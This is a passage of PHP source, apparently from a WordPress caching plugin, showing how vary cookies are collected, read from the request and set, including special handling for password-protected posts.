		if (!empty($post->post_password)) {
			$postpass_key = 'wp-postpass_' . COOKIEHASH;
			if ($this->_get_cookie_val($postpass_key)) {
				self::debug('finalize bypassed due to password protected vary ');
				// If user has password cookie, do not cache & ignore existing vary cookies
				Control::set_nocache('password protected vary');
				return false;
			}

			$cookies[] = $values_json ? $this->_get_cookie_val($postpass_key) : $postpass_key;
		}

		$cookies = apply_filters('litespeed_vary_curr_cookies', $cookies);
		if ($cookies) {
			$cookies = array_filter(array_unique($cookies));
			self::debug('vary cookies changed by filter litespeed_vary_curr_cookies', $cookies);
		}

		if (!$cookies) {
			return false;
		}
		// Format cookie name data or value data
		sort($cookies); // This is to maintain the cookie val orders for $values_json=true case.
		foreach ($cookies as $k => $v) {
			$cookies[$k] = $values_json ? $this->_get_cookie_val($v) : 'cookie=' . $v;
		}

		return $values_json ? \json_encode($cookies) : $cookies;
	}

	/**
	 * Get one vary cookie value
	 *
	 * @since  4.0
	 */
	private function _get_cookie_val( $key ) {
		if (!empty($_COOKIE[$key])) {
			return $_COOKIE[$key];
		}

		return false;
	}

	/**
	 * Set the vary cookie.
	 *
	 * If vary cookie changed, must set non cacheable.
	 *
	 * @since 1.0.4
	 * @access private
	 * @param int|false $val    The value to update.
	 * @param int       $expire Expire time.
	 * @param bool      $path   False if use wp root path as cookie path
	 */
	private function _cookie( $val = false, $expire = 0, $path = false ) {
		if (!$val) {
			$expire = 1;
		}

		/**
		 * Add HTTPS bypass in case clients use both HTTP and HTTPS version of site
		 *
		 * @since 1.7
		 */
		$is_ssl = $this->conf(Base::O_UTIL_NO_HTTPS_VARY) ? false : is_ssl();

		setcookie(self::$_vary_name, $val, $expire, $path ?: COOKIEPATH, COOKIE_DOMAIN, $is_ssl, true);
		self::debug('set_cookie ---> [k] ' . self::$_vary_name . " [v] $val [ttl] " . ($expire - time()));
	}
}